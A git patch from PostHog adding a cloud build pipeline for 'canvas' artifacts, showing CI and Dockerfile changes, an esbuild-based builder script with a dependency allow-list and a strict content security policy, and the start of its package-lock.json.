From b11bccac5d07a1a7af8d495c63d6341a4dc567fc Mon Sep 17 00:00:00 2001 From: Peter Kirkham Date: Mon, 3 Aug 2026 21:45:00 +0100 Subject: [PATCH 01/60] feat(canvas): build and securely deliver cloud artifacts --- .depot/workflows/ci-backend.yml | 4 + .dockerignore | 2 + .github/workflows/ci-backend.yml | 5 + Dockerfile | 5 +- common/canvas-builder/build.mjs | 313 +++++ common/canvas-builder/package-lock.json | 1088 +++++++++++++++++ common/canvas-builder/package.json | 14 + frontend/src/generated/core/api.schemas.ts | 386 +++++- frontend/src/generated/core/api.ts | 188 ++- frontend/src/generated/core/api.zod.ts | 206 +++- posthog/api/canvas_artifacts.py | 117 ++ .../api/file_system/canvas_build_service.py | 546 +++++++++ posthog/api/file_system/canvas_source.py | 292 +++++ posthog/api/file_system/file_system.py | 895 +++++++++++++- .../file_system/test/test_canvas_builds.py | 315 +++++ .../test/test_canvas_cloud_builder.py | 221 ++++ .../api/file_system/test/test_canvas_edit.py | 121 ++ .../file_system/test/test_canvas_publish.py | 75 +- .../file_system/test/test_canvas_source.py | 127 ++ .../test/test_canvas_source_api.py | 256 ++++ posthog/api/test/test_canvas_artifacts.py | 87 ++ .../1267_canvas_source_versions_and_builds.py | 117 ++ posthog/models/__init__.py | 3 + posthog/models/file_system/canvas_build.py | 87 ++ posthog/settings/__init__.py | 1 + posthog/settings/canvas.py | 9 + posthog/settings/web.py | 3 + posthog/tasks/__init__.py | 2 + posthog/tasks/canvas_build.py | 35 + posthog/tasks/scheduled.py | 7 + posthog/urls.py | 4 + .../frontend/generated/api.schemas.ts | 4 +- .../frontend/generated/api.zod.schemas.ts | 6 +- .../tasks/backend/logic/services/loop_runs.py | 8 +- .../backend/logic/services/modal_sandbox.py | 17 +- .../tasks/backend/logic/services/sandbox.py | 4 + .../tasks/backend/tests/test_loop_runs.py | 18 +- .../tasks/skills/building-canvases/SKILL.md | 64 + .../skills/building-html-canvases/SKILL.md | 56 + .../building-react-quill-canvases/SKILL.md | 77 ++ .../references/starter-scaffold.md | 146 +++ .../skills/querying-canvas-data/SKILL.md | 70 ++ .../SKILL.md | 95 ++ services/mcp/definitions/core.yaml | 123 ++ .../schema/generated-tool-definitions.json | 92 +- services/mcp/schema/tool-definitions-all.json | 92 +- services/mcp/src/generated/core/api.ts | 282 ++++- services/mcp/src/tools/generated/core.ts | 217 +++- ...op-file-system-canvas-builds-retrieve.json | 11 + ...esktop-file-system-canvas-edit-create.json | 56 + ...top-file-system-canvas-publish-create.json | 108 ++ ...op-file-system-canvas-source-retrieve.json | 11 + ...op-file-system-canvas-validate-create.json | 89 ++ .../desktop-file-system-canvases-create.json | 15 + .../desktop-file-system-canvases-list.json | 14 + .../tests/test_workflow_lint.py | 36 + .../checks/semgrep_services_coverage.py | 31 +- 57 files changed, 7087 insertions(+), 186 deletions(-) create mode 100644 common/canvas-builder/build.mjs create mode 100644 common/canvas-builder/package-lock.json create mode 100644 common/canvas-builder/package.json create mode 100644 posthog/api/canvas_artifacts.py create mode 100644 posthog/api/file_system/canvas_build_service.py create mode 100644 posthog/api/file_system/canvas_source.py create mode 100644 posthog/api/file_system/test/test_canvas_builds.py create mode 100644 posthog/api/file_system/test/test_canvas_cloud_builder.py create mode 100644 posthog/api/file_system/test/test_canvas_edit.py create mode 100644 posthog/api/file_system/test/test_canvas_source.py create mode 100644 posthog/api/file_system/test/test_canvas_source_api.py create mode 100644 posthog/api/test/test_canvas_artifacts.py create mode 100644 posthog/migrations/1267_canvas_source_versions_and_builds.py create mode 100644 posthog/models/file_system/canvas_build.py create mode 100644 posthog/settings/canvas.py create mode 100644 posthog/tasks/canvas_build.py create mode 100644 products/tasks/skills/building-canvases/SKILL.md create mode 100644 products/tasks/skills/building-html-canvases/SKILL.md create mode 100644 products/tasks/skills/building-react-quill-canvases/SKILL.md create mode 100644 products/tasks/skills/building-react-quill-canvases/references/starter-scaffold.md create mode 100644 products/tasks/skills/querying-canvas-data/SKILL.md create mode 100644 products/tasks/skills/validating-and-publishing-canvases/SKILL.md create mode 100644 services/mcp/tests/unit/__snapshots__/tool-schemas/desktop-file-system-canvas-builds-retrieve.json create mode 100644 services/mcp/tests/unit/__snapshots__/tool-schemas/desktop-file-system-canvas-edit-create.json create mode 100644 services/mcp/tests/unit/__snapshots__/tool-schemas/desktop-file-system-canvas-publish-create.json create mode 100644 services/mcp/tests/unit/__snapshots__/tool-schemas/desktop-file-system-canvas-source-retrieve.json create mode 100644 services/mcp/tests/unit/__snapshots__/tool-schemas/desktop-file-system-canvas-validate-create.json create mode 100644 services/mcp/tests/unit/__snapshots__/tool-schemas/desktop-file-system-canvases-create.json create mode 100644 services/mcp/tests/unit/__snapshots__/tool-schemas/desktop-file-system-canvases-list.json diff --git a/.depot/workflows/ci-backend.yml b/.depot/workflows/ci-backend.yml index 305b4627bf65..2359d64d6659 100644 --- a/.depot/workflows/ci-backend.yml +++ b/.depot/workflows/ci-backend.yml @@ -1675,6 +1675,10 @@ jobs: shell: bash run: | UV_PROJECT_ENVIRONMENT=$pythonLocation uv sync --frozen --dev + - name: Install canvas builder dependencies + if: ${{ needs.changes.outputs.backend == 'true' && matrix.segment == 'Core' }} + shell: bash + run: npm ci --ignore-scripts --omit=dev --prefix common/canvas-builder - name: Install the working version of hogql-parser if: ${{ needs.changes.outputs.backend == 'true' && steps.hogql-parser-diff.outputs.changed == 'true' }} shell: bash diff --git a/.dockerignore b/.dockerignore index 012c0b973c8d..cd85064d5a75 100644 --- a/.dockerignore +++ b/.dockerignore @@ -3,6 +3,8 @@ !.devcontainer !.kearc !bin +!common/alerting +!common/canvas-builder !common/hogvm !common/esbuilder !common/migration_utils diff --git a/.github/workflows/ci-backend.yml b/.github/workflows/ci-backend.yml index 6a1d53f0701b..ece6f481878b 100644 --- a/.github/workflows/ci-backend.yml +++ b/.github/workflows/ci-backend.yml @@ -2624,6 +2624,11 @@ jobs: run: | UV_PROJECT_ENVIRONMENT=$pythonLocation uv sync --frozen --dev + - name: Install canvas builder dependencies + if: ${{ needs.changes.outputs.backend == 'true' && matrix.segment == 'Core' }} + shell: bash + run: npm ci --ignore-scripts --omit=dev --prefix common/canvas-builder + - name: Install the working version of hogql-parser if: ${{ needs.changes.outputs.backend == 'true' && steps.hogql-parser-diff.outputs.changed == 'true' }} shell: bash diff --git a/Dockerfile b/Dockerfile index 6c39ed6c5db7..9ec32d42bdf2 100644 --- a/Dockerfile +++ b/Dockerfile @@ -112,12 +112,14 @@ SHELL ["/bin/bash", "-e", "-o", "pipefail", "-c"] COPY turbo.json package.json pnpm-lock.yaml pnpm-workspace.yaml tsconfig.json ./ COPY bin/turbo bin/turbo COPY patches/ patches/ +COPY common/canvas-builder/ common/canvas-builder/ COPY common/esbuilder/ common/esbuilder/ COPY common/plugin_transpiler/ common/plugin_transpiler/ RUN --mount=type=cache,id=pnpm,target=/tmp/pnpm-store-v24 \ corepack enable && \ NODE_OPTIONS="--max-old-space-size=4096" CI=1 pnpm --filter=@posthog/plugin-transpiler... install --frozen-lockfile --store-dir /tmp/pnpm-store-v24 && \ - NODE_OPTIONS="--max-old-space-size=4096" bin/turbo --filter=@posthog/plugin-transpiler build + NODE_OPTIONS="--max-old-space-size=4096" bin/turbo --filter=@posthog/plugin-transpiler build && \ + cd common/canvas-builder && npm ci --ignore-scripts --omit=dev # The transpiler bundle externalizes @babel/standalone (its only external runtime require — a # self-contained 24MB package with no deps). Materialize it as real files inside the transpiler's @@ -396,6 +398,7 @@ ENV TIKTOKEN_CACHE_DIR=/code/.tiktoken_cache COPY --from=node-scripts-build --chown=posthog:posthog /code/common/plugin_transpiler/dist /code/common/plugin_transpiler/dist COPY --from=node-scripts-build --chown=posthog:posthog /code/common/plugin_transpiler/node_modules /code/common/plugin_transpiler/node_modules COPY --from=node-scripts-build --chown=posthog:posthog /code/common/plugin_transpiler/package.json /code/common/plugin_transpiler/package.json +COPY --from=node-scripts-build --chown=posthog:posthog /code/common/canvas-builder /code/common/canvas-builder # Add in custom bin files and Django deps. COPY --chown=posthog:posthog ./bin ./bin/ diff --git a/common/canvas-builder/build.mjs b/common/canvas-builder/build.mjs new file mode 100644 index 000000000000..7af842ff2cc7 --- /dev/null +++ b/common/canvas-builder/build.mjs @@ -0,0 +1,313 @@ +import { build } from 'esbuild' +import { createHash } from 'node:crypto' +import path from 'node:path' +import { fileURLToPath } from 'node:url' + +const admitted = { + react: ['19.0.0', 'https://esm.sh/react@19.0.0'], + 'react-dom': ['19.0.0', 'https://esm.sh/react-dom@19.0.0?external=react'], + '@posthog/quill': ['0.3.0-beta.18', 'https://esm.sh/@posthog/quill@0.3.0-beta.18?external=react,react-dom'], + recharts: ['2.15.0', 'https://esm.sh/recharts@2.15.0?external=react,react-dom'], + 'lucide-react': ['1.21.0', 'https://esm.sh/lucide-react@1.21.0?external=react'], + dayjs: ['1.11.13', 'https://esm.sh/dayjs@1.11.13'], +} +const runtimeImports = { + 'react/jsx-runtime': 'https://esm.sh/react@19.0.0/jsx-runtime', + 'react-dom/client': 'https://esm.sh/react-dom@19.0.0/client?external=react', +} +const builderDirectory = path.dirname(fileURLToPath(import.meta.url)) +const moduleScript = /]*type\s*=\s*["']module["'][^>]*\ssrc\s*=\s*["']([^"']+)["'][^>]*>\s*<\/script>/gi +const stylesheet = /]*rel\s*=\s*["']stylesheet["'][^>]*\shref\s*=\s*["']([^"']+)["'][^>]*\/?>/gi +const forbiddenHtml = /(?:src|href)\s*=\s*["']\s*(javascript|data:text\/html|vbscript)/i +const extensions = ['', '.ts', '.tsx', '.js', '.jsx', '.css', '.json', '.svg', '.txt'] +const runtimePath = 'assets/canvas-runtime.js' +const runtime = `(()=>{const channel="posthog-canvas",pending=new Map;let sequence=0;const post=(message)=>parent.postMessage({channel,...message},"*");const call=(method,payload)=>new Promise((resolve,reject)=>{const id=String(++sequence);pending.set(id,{resolve,reject});post({type:"data-request",id,method,payload});});window.ph={loadInsight:(shortId,options)=>call("loadInsight",{shortId,dateRange:options?.dateRange}),query:(query,params)=>call("query",typeof query==="string"?{hogql:query,params:params??{}}:{query,params:params??{}}),capture:(event,properties,distinctId)=>call("capture",{event,properties:properties??{},distinctId}),openExternal:(url)=>post({type:"open-external",url})};addEventListener("message",(event)=>{if(event.source!==parent||event.data?.channel!==channel||event.data?.type!=="data-response")return;const request=pending.get(event.data.id);if(!request)return;pending.delete(event.data.id);event.data.ok?request.resolve(event.data.result):request.reject(new Error(event.data.error??"Canvas request failed"));});addEventListener("error",(event)=>post({type:"error",message:event.message||"Canvas runtime error",stack:event.error?.stack}));addEventListener("unhandledrejection",(event)=>post({type:"error",message:event.reason instanceof Error?event.reason.message:String(event.reason),stack:event.reason instanceof Error?event.reason.stack:undefined}));addEventListener("DOMContentLoaded",()=>post({type:"ready"}));addEventListener("load",()=>post({type:"rendered"}));})();` +const csp = + "default-src 'none'; base-uri 'none'; object-src 'none'; form-action 'none'; script-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'none'; img-src 'self' data: blob:; font-src 'self' data:; media-src 'self' data: blob:; worker-src 'self' blob:" + +function diagnostic(code, message, file, line) { + return { + severity: 'error', + code, + message: String(message).slice(0, 10000), + ...(file ? { path: file } : {}), + ...(line ? { line } : {}), + } +} + +function sha256(content) { + return createHash('sha256').update(content, 'utf8').digest('hex') +} + +function normalize(value) { + return value.replace(/^\.?\//, '') +} + +function packageName(specifier) { + return specifier.startsWith('@') ? specifier.split('/').slice(0, 2).join('/') : specifier.split('/')[0] +} + +function resolveFile(files, importer, specifier) { + const base = path.posix.normalize(path.posix.join(path.posix.dirname(importer), specifier)) + if (base.startsWith('..')) { + return null + } + return extensions.map((extension) => base + extension).find((candidate) => candidate in files) ?? null +} + +function loader(file) { + const extension = path.posix.extname(file) + return ( + { + '.ts': 'ts', + '.tsx': 'tsx', + '.jsx': 'jsx', + '.css': 'css', + '.json': 'json', + '.svg': 'dataurl', + '.txt': 'text', + }[extension] ?? 'js' + ) +} + +function assetLoader(contentType) { + return contentType === 'application/wasm' || contentType === 'application/octet-stream' ? 'binary' : 'dataurl' +} + +function validate(project) { + const diagnostics = [] + if (project.canvasSdkVersion !== '0.1.0') { + diagnostics.push(diagnostic('unsupported_sdk', 'Canvas SDK version is unavailable')) + } + for (const [name, version] of Object.entries(project.dependencies ?? {})) { + if (!admitted[name]) { + diagnostics.push(diagnostic('dependency_not_admitted', `dependency "${name}" is not platform-supported`)) + } else if (admitted[name][0] !== version) { + diagnostics.push( + diagnostic('dependency_version_mismatch', `dependency "${name}" must use ${admitted[name][0]}`) + ) + } + } + const html = project.files?.[project.entryHtml] + if (typeof html !== 'string') { + diagnostics.push(diagnostic('entry_not_found', 'Canvas entry HTML does not exist', project.entryHtml)) + } else if (forbiddenHtml.test(html)) { + diagnostics.push( + diagnostic('forbidden_url_scheme', 'Canvas HTML contains a forbidden URL scheme', project.entryHtml) + ) + } + return diagnostics +} + +async function bundleEntry(project, entry, externalImports) { + const files = project.files + const plugin = { + name: 'canvas-virtual-fs', + setup(pluginBuild) { + pluginBuild.onResolve({ filter: /.*/ }, async (args) => { + if (args.pluginData?.platformDependency) { + return undefined + } + if (args.kind === 'entry-point') { + return { path: normalize(args.path), namespace: 'canvas' } + } + if (!['canvas', 'canvas-worker'].includes(args.namespace)) { + return undefined + } + if (args.path.startsWith('.') || args.path.startsWith('/')) { + const workerImport = args.path.endsWith('?worker') + const requestedPath = workerImport ? args.path.slice(0, -7) : args.path + const specifier = requestedPath.startsWith('/') ? `./${normalize(requestedPath)}` : requestedPath + const resolved = resolveFile(files, args.importer, specifier) + if (resolved) { + return { path: resolved, namespace: workerImport ? 'canvas-worker' : 'canvas' } + } + const asset = resolveFile(project.assets ?? {}, args.importer, specifier) + return asset + ? { path: asset, namespace: 'canvas-asset' } + : { errors: [{ text: `cannot resolve "${args.path}"` }] } + } + const name = packageName(args.path) + if (!(name in project.dependencies) || !admitted[name]) { + return { errors: [{ text: `import_not_declared: "${args.path}"` }] } + } + if (args.path !== name && !(args.path in runtimeImports)) { + return { errors: [{ text: `import_not_declared: "${args.path}"` }] } + } + return pluginBuild.resolve(args.path, { + kind: args.kind, + resolveDir: builderDirectory, + pluginData: { platformDependency: true }, + }) + }) + pluginBuild.onLoad({ filter: /.*/, namespace: 'canvas' }, (args) => ({ + contents: files[args.path], + loader: loader(args.path), + resolveDir: '/', + })) + pluginBuild.onLoad({ filter: /.*/, namespace: 'canvas-asset' }, (args) => { + const asset = project.assets?.[args.path] + return asset + ? { + contents: Uint8Array.from(Buffer.from(asset.content, 'base64')), + loader: assetLoader(asset.contentType), + } + : null + }) + pluginBuild.onLoad({ filter: /.*/, namespace: 'canvas-worker' }, async (args) => { + const source = files[args.path] + if (source === undefined) { + return null + } + const compiled = await bundleEntry(project, args.path, externalImports) + const code = (compiled.outputFiles ?? []) + .filter((output) => output.path.endsWith('.js')) + .map((output) => output.text) + .join('\n') + return { + contents: `export default URL.createObjectURL(new Blob([${JSON.stringify(code)}],{type:"text/javascript"}));`, + loader: 'js', + } + }) + }, + } + return build({ + entryPoints: [entry], + bundle: true, + write: false, + format: 'esm', + platform: 'browser', + target: 'es2022', + jsx: 'automatic', + minify: true, + sourcemap: false, + logLevel: 'silent', + outdir: 'out', + plugins: [plugin], + }) +} + +function artifact(pathname, content) { + return { path: pathname, content, contentHash: sha256(content), sizeBytes: Buffer.byteLength(content, 'utf8') } +} + +async function buildCanvas(project) { + const diagnostics = validate(project) + if (diagnostics.length) { + return { contractVersion: 1, status: 'failed', diagnostics } + } + project = { ...project, files: { ...project.files }, dependencies: { ...project.dependencies } } + let html = project.files[project.entryHtml] + let legacy = null + if (project.files['src/canvas.tsx'] && html.includes('src="/src/canvas.tsx"')) { + legacy = { legacyComponentPath: 'src/canvas.tsx', legacyCode: project.files['src/canvas.tsx'] } + project.files['src/canvas-entry.tsx'] = + 'import React from "react"; import { createRoot } from "react-dom/client"; import Canvas from "./canvas"; const root = document.getElementById("root"); if (root) createRoot(root).render(React.createElement(Canvas));' + html = html.replace('src="/src/canvas.tsx"', 'src="/src/canvas-entry.tsx"') + project.files[project.entryHtml] = html + // The injected mount is platform code, not the author's — admit the react/ + // react-dom it needs even when the source only declared react. + for (const runtime of ['react', 'react-dom']) { + project.dependencies[runtime] ??= admitted[runtime][0] + } + } + const refs = [ + ...[...html.matchAll(moduleScript)].map((match) => [match[1], 'js']), + ...[...html.matchAll(stylesheet)].map((match) => [match[1], 'css']), + ] + if (!refs.length) { + return { + contractVersion: 1, + status: 'failed', + diagnostics: [ + diagnostic( + 'no_entry_module', + 'Canvas HTML references no module scripts or stylesheets', + project.entryHtml + ), + ], + } + } + const files = [] + const externalImports = new Set() + try { + for (const [reference, kind] of refs) { + const entry = normalize(reference) + if (!(entry in project.files)) { + return { + contractVersion: 1, + status: 'failed', + diagnostics: [ + diagnostic('entry_not_found', `Canvas entry ${entry} does not exist`, project.entryHtml), + ], + } + } + const result = await bundleEntry(project, entry, externalImports) + let javascript = '' + let css = '' + for (const output of result.outputFiles ?? []) { + output.path.endsWith('.css') ? (css = output.text) : (javascript = output.text) + } + const content = kind === 'css' ? css : javascript + const emitted = `assets/${path.posix.basename(entry).replace(/\.[^.]+$/, '')}-${sha256(content).slice(0, 10)}.${kind}` + files.push(artifact(emitted, content)) + html = html.split(`"${reference}"`).join(`"./${emitted}"`).split(`'${reference}'`).join(`'./${emitted}'`) + if (kind === 'js' && css) { + const cssPath = `assets/${path.posix.basename(entry).replace(/\.[^.]+$/, '')}-${sha256(css).slice(0, 10)}.css` + files.push(artifact(cssPath, css)) + html = html.replace('', ``) + } + } + } catch (error) { + const errors = error?.errors ?? [] + return { + contractVersion: 1, + status: 'failed', + diagnostics: errors.length + ? errors + .slice(0, 500) + .map((entry) => + diagnostic( + entry.text.startsWith('import_not_declared:') ? 'import_not_declared' : 'bundle_error', + entry.text, + entry.location?.file?.replace(/^canvas:/, ''), + entry.location?.line + ) + ) + : [diagnostic('bundle_error', error instanceof Error ? error.message : String(error))], + } + } + files.push(artifact(runtimePath, runtime)) + const head = `` + html = html.includes('') ? html.replace('', `${head}`) : `${head}${html}` + files.unshift(artifact(project.entryHtml, html)) + const manifest = { + entryHtml: project.entryHtml, + assets: files.map(({ path, contentHash, sizeBytes }) => ({ path, contentHash, sizeBytes })), + dependencies: project.dependencies, + canvasSdkVersion: project.canvasSdkVersion, + capabilities: project.capabilities ?? { + posthog: { insights: [], inlineQueries: false, captureEvents: [] }, + network: { origins: [] }, + }, + ...legacy, + } + return { contractVersion: 1, status: 'ready', diagnostics: [], manifest, files } +} + +let input = '' +for await (const chunk of process.stdin) { + input += chunk +} +try { + const request = JSON.parse(input) + process.stdout.write(JSON.stringify(await buildCanvas(request.project))) +} catch (error) { + process.stdout.write( + JSON.stringify({ + contractVersion: 1, + status: 'failed', + diagnostics: [diagnostic('invalid_build_request', error instanceof Error ? error.message : String(error))], + }) + ) +} diff --git a/common/canvas-builder/package-lock.json b/common/canvas-builder/package-lock.json new file mode 100644 index 000000000000..0c8c67f06c0d --- /dev/null +++ b/common/canvas-builder/package-lock.json @@ -0,0 +1,1088 @@ +{ + "name": "@posthog/canvas-builder", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "@posthog/canvas-builder", + "dependencies": { + "@posthog/quill": "0.3.0-beta.18", + "dayjs": "1.11.13", + "esbuild": "0.25.0", + "lucide-react": "1.21.0", + "react": "19.0.0", + "react-dom": "19.0.0", + "recharts": "2.15.0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz", + "integrity": "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@base-ui/react": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@base-ui/react/-/react-1.6.0.tgz", + "integrity": "sha512-/jzjTWJYXhRFO45Bev9lc3cHbmjzCMpUqbMZ2AgKy/z25mY9B6shGSNcXcjQar9n5doM0KYW1W8fcFv2jZBuMw==", + "license": "MIT", + "peer": true, + "dependencies": { + "@babel/runtime": "^7.29.2", + "@base-ui/utils": "0.3.1", + "@floating-ui/react-dom": "^2.1.8", + "@floating-ui/utils": "^0.2.11", + "use-sync-external-store": "^1.6.0" + }, + "engines": { + "node": ">=14.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui-org" + }, + "peerDependencies": { + "@date-fns/tz": "^1.2.0", + "@types/react": "^17 || ^18 || ^19", + "date-fns": "^4.0.0", + "react": "^17 || ^18 || ^19", + "react-dom": "^17 || ^18 || ^19" + }, + "peerDependenciesMeta": { + "@date-fns/tz": { + "optional": true + }, + "@types/react": { + "optional": true + }, + "date-fns": { + "optional": true + } + } + }, + "node_modules/@base-ui/utils": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@base-ui/utils/-/utils-0.3.1.tgz", + "integrity": "sha512-gFFiltORVmW/N6IILTGxizP3PBpVpysqML1ALY5Vk0mH+7faVkCknOU31goYHN5Aoek2dkjxva1XOD2Ce9WuIg==", + "license": "MIT", + "peer": true, + "dependencies": { + "@babel/runtime": "^7.29.2", + "@floating-ui/utils": "^0.2.11", + "reselect": "^5.2.0", + "use-sync-external-store": "^1.6.0" + }, + "peerDependencies": { + "@types/react": "^17 || ^18 || ^19", + "react": "^17 || ^18 || ^19", + "react-dom": "^17 || ^18 || ^19" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.0.tgz", + "integrity": "sha512-O7vun9Sf8DFjH2UtqK8Ku3LkquL9SZL8OLY1T5NZkA34+wG3OQF7cl4Ql8vdNzM6fzBbYfLaiRLIOZ+2FOCgBQ==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.0.tgz", + "integrity": "sha512-PTyWCYYiU0+1eJKmw21lWtC+d08JDZPQ5g+kFyxP0V+es6VPPSUhM6zk8iImp2jbV6GwjX4pap0JFbUQN65X1g==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.0.tgz", + "integrity": "sha512-grvv8WncGjDSyUBjN9yHXNt+cq0snxXbDxy5pJtzMKGmmpPxeAmAhWxXI+01lU5rwZomDgD3kJwulEnhTRUd6g==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.0.tgz", + "integrity": "sha512-m/ix7SfKG5buCnxasr52+LI78SQ+wgdENi9CqyCXwjVR2X4Jkz+BpC3le3AoBPYTC9NHklwngVXvbJ9/Akhrfg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.0.tgz", + "integrity": "sha512-mVwdUb5SRkPayVadIOI78K7aAnPamoeFR2bT5nszFUZ9P8UpK4ratOdYbZZXYSqPKMHfS1wdHCJk1P1EZpRdvw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.0.tgz", + "integrity": "sha512-DgDaYsPWFTS4S3nWpFcMn/33ZZwAAeAFKNHNa1QN0rI4pUjgqf0f7ONmXf6d22tqTY+H9FNdgeaAa+YIFUn2Rg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.0.tgz", + "integrity": "sha512-VN4ocxy6dxefN1MepBx/iD1dH5K8qNtNe227I0mnTRjry8tj5MRk4zprLEdG8WPyAPb93/e4pSgi1SoHdgOa4w==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.0.tgz", + "integrity": "sha512-mrSgt7lCh07FY+hDD1TxiTyIHyttn6vnjesnPoVDNmDfOmggTLXRv8Id5fNZey1gl/V2dyVK1VXXqVsQIiAk+A==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.0.tgz", + "integrity": "sha512-vkB3IYj2IDo3g9xX7HqhPYxVkNQe8qTK55fraQyTzTX/fxaDtXiEnavv9geOsonh2Fd2RMB+i5cbhu2zMNWJwg==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.0.tgz", + "integrity": "sha512-9QAQjTWNDM/Vk2bgBl17yWuZxZNQIF0OUUuPZRKoDtqF2k4EtYbpyiG5/Dk7nqeK6kIJWPYldkOcBqjXjrUlmg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.0.tgz", + "integrity": "sha512-43ET5bHbphBegyeqLb7I1eYn2P/JYGNmzzdidq/w0T8E2SsYL1U6un2NFROFRg1JZLTzdCoRomg8Rvf9M6W6Gg==", + "cpu": [ + "ia32" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.0.tgz", + "integrity": "sha512-fC95c/xyNFueMhClxJmeRIj2yrSMdDfmqJnyOY4ZqsALkDrrKJfIg5NTMSzVBr5YW1jf+l7/cndBfP3MSDpoHw==", + "cpu": [ + "loong64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.0.tgz", + "integrity": "sha512-nkAMFju7KDW73T1DdH7glcyIptm95a7Le8irTQNO/qtkoyypZAnjchQgooFUDQhNAy4iu08N79W4T4pMBwhPwQ==", + "cpu": [ + "mips64el" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.0.tgz", + "integrity": "sha512-NhyOejdhRGS8Iwv+KKR2zTq2PpysF9XqY+Zk77vQHqNbo/PwZCzB5/h7VGuREZm1fixhs4Q/qWRSi5zmAiO4Fw==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.0.tgz", + "integrity": "sha512-5S/rbP5OY+GHLC5qXp1y/Mx//e92L1YDqkiBbO9TQOvuFXM+iDqUNG5XopAnXoRH3FjIUDkeGcY1cgNvnXp/kA==", + "cpu": [ + "riscv64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.0.tgz", + "integrity": "sha512-XM2BFsEBz0Fw37V0zU4CXfcfuACMrppsMFKdYY2WuTS3yi8O1nFOhil/xhKTmE1nPmVyvQJjJivgDT+xh8pXJA==", + "cpu": [ + "s390x" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.0.tgz", + "integrity": 